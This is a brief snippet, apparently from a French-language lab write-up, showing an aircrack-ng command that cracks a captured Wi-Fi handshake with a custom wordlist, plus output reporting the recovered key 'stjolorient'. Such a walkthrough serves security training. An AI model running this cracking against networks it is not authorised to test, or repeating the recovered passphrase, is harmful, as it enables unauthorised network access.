```bash
sudo aircrack-ng capture_wifi-02.cap -w /home/kali/Desktop/wordlistperso.txt
```

- 7/16 clés testées en moins d'une seconde
- **KEY FOUND! \[ stjolorient \]**